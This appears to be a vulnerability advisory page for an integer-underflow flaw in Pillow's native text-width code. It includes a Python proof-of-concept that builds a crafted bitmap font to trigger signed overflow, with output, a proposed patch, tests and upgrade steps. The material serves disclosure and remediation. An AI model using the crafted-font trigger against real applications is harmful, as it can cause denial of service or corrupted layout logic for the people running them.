GHSA-4rm8-3hmm-39fg BIT-pillow-2026-96641 CVE-2026-96641 PYSEC-2026-4340
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 28.02% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-190 Integer Overflow or Wraparound
- Fix
13.0.0- Upgrade pillow to this version or later
Description
Summary
Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx
Details
The code in Pillow 12.3.0 is:
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
Observations from a regular 12.3.0 release build:
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
At a minimum, four test cases should be added:
dx = 32767, repeat = 65538— upper adjacent control (should succeed);dx = 32767, repeat = 65539— should raiseOverflowError;dx = -32768, repeat = 65536— lower adjacent control (should succeed);dx = -32768, repeat = 65537— should raiseOverflowError.
Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pillow | < 13.0.0 |
13.0.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pillow PyPI → 13.0.0
- pip
pip install --upgrade "pillow>=13.0.0"- poetry
poetry add "pillow>=13.0.0"- uv
uv add "pillow>=13.0.0"
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-190: Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
How to prevent it
- Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
- Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
- Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| PYSEC-2023-175 Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). | High Known exploited | Also affects pillow |
| GHSA-j7hp-h8jx-5ppr libwebp: OOB write in BuildHuffmanTable | High Known exploited | Also affects pillow |
| GHSA-78g4-xqwv-q3g8 Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() | High | Also affects pillow |
| GHSA-654x-cwwv-5j9c Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 | Medium | Also affects pillow |
| GHSA-xvh5-g6gv-559v Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags | High | Also affects pillow |
| GHSA-g7cr-3p24-7wf7 Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer | High | Also affects pillow |
| GHSA-9v9v-9qvf-h2hj Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds) | High | Also affects pillow |
| GHSA-g4qv-2jxx-769h Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time | Medium | Also affects pillow |
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